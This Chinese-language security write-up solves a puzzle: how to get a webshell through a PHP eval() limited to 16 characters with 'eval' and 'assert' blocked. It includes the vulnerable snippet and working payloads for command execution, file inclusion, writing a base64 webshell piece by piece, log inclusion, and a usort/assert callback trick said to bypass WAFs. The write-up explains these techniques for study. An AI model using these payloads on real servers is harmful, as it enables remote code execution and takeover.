來源:https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

作者: phithon@長亭科技

昨天晚上 @roker 在小密圈里問了一個問題,就是eval(xxx),xxx長度限制為16個字符,而且不能用eval或assert,怎么執行命令。

我把他的敘述寫成代碼,大概如下:

<?php
$param = $_REQUEST['param'];
if(strlen($param)<17 && stripos($param,'eval') === false && stripos($param,'assert') === false) {
  eval($param);
}
?> 

那么這個代碼怎么拿到webshell?

命令執行的利用

這個是我得到最多的一種答案,大部分人都是利用命令執行來繞過限制,最短的是:

param=`$_GET[1]`;&1=bash 

稍長一點的可以用exec:

param=exec($_GET[1]); 

這個方法我就不多說了,送分題。

遠程文件包含的利用

有的同學提到了遠程文件,但正常文件包含include $_GET[1];,這個剛好17個字符,超了一位。

不過,其實include$_GET[1];也是可以運行的,中間的空格可以不要。

這也是一個思路,但限制就是需要開啟遠程文件包含,但這個選項默認是關閉的。

本地文件包含的利用

那么,文件包含真的不行么?

有一種思路,利用file_put_contents可以將字符一個個地寫入一個文件中,大概請求如下:

param=$_GET[a](N,a,8);&a=file_put_contents 

file_put_contents的第一個參數是文件名,我傳入N。PHP會認為N是一個常量,但我之前并沒有定義這個常量,于是PHP就會把它轉換成字符串'N';第二個參數是要寫入的數據,a也被轉換成字符串'a';第三個參數是flag,當flag=8的時候內容會追加在文件末尾,而不是覆蓋。

除了file_put_contents,error_log函數效果也類似。

但這個方法有個問題,就是file_put_contents第二個參數如果是符號,就會導致PHP出錯,比如param=$_GET[a](N,<,8);&a=file_put_contents。但如果要寫webshell的話,“<”等符號又是必不可少的。

于是微博上 @買貼膜的 想出一個辦法,每次向文件'N'中寫入一個字母或數字,最后構成一個base64字符串,再包含的時候使用php://filter對base64進行解碼即可。

最后請求如下: php

# 每次寫入一個字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N 

成功getshell。

本地日志包含

這是 @lem0n 師傅想到的一個方法,首先通過各種方法找到web日志,然后利用上面說的include的方式來包含之。

param=include$_GET[a];&a=/home/u244201241/.logs/php_error.log 

如果找不到web日志,利用條件競爭的方法,包含tmp文件也可以,有心的同學可以試試。

標準答案:利用變長參數特性展開數組

這是我出這個題目時想的標準答案,其實也是roker提出的那個問題的一種解決方法。

變長參數是PHP5.6新引入的特性,文檔在此: http://php.net/manual/zh/migration56.new-features.php

和Python中的**kwargs,類似,在PHP中可以使用 func(...$arr)這樣的方式,將$arr數組展開成多個參數,傳入func函數。

再結合我曾提到過的回調后門( https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html ),即可構造一個完美的利用,數據包如下:

POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

param=usort(...$_GET); 

效果圖:

大概過程就是,GET變量被展開成兩個參數['test', 'phpinfo();']assert,傳入usort函數。usort函數的第二個參數是一個回調函數assert,其調用了第一個參數中的phpinfo();。修改phpinfo();為webshell即可。

最后說一下,這個方法基本無視任何WAF,各個WAF需要關注了。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/190/